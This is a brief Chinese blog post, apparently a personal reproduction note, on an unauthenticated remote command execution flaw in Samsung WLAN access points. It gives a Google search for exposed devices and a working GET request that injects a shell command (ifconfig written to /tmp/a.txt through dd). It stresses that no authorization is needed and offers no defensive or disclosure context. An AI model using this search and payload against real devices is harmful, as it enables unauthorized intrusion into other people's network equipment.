Samsung WLAN AP RCE 复现

XTTF 2021年02月16日 191次浏览

日常刷twitter,发现了有老哥发了这个,可以复现下

通过Google先搜集下资产intitle:”Samsung WLAN AP”,老哥给的是POST请求的,本人还是觉得Get的简单些

/(download)/tmp/a.txt?command1=shell:ifconfig+|+dd+of=/tmp/a.txt

未授权直接请求就好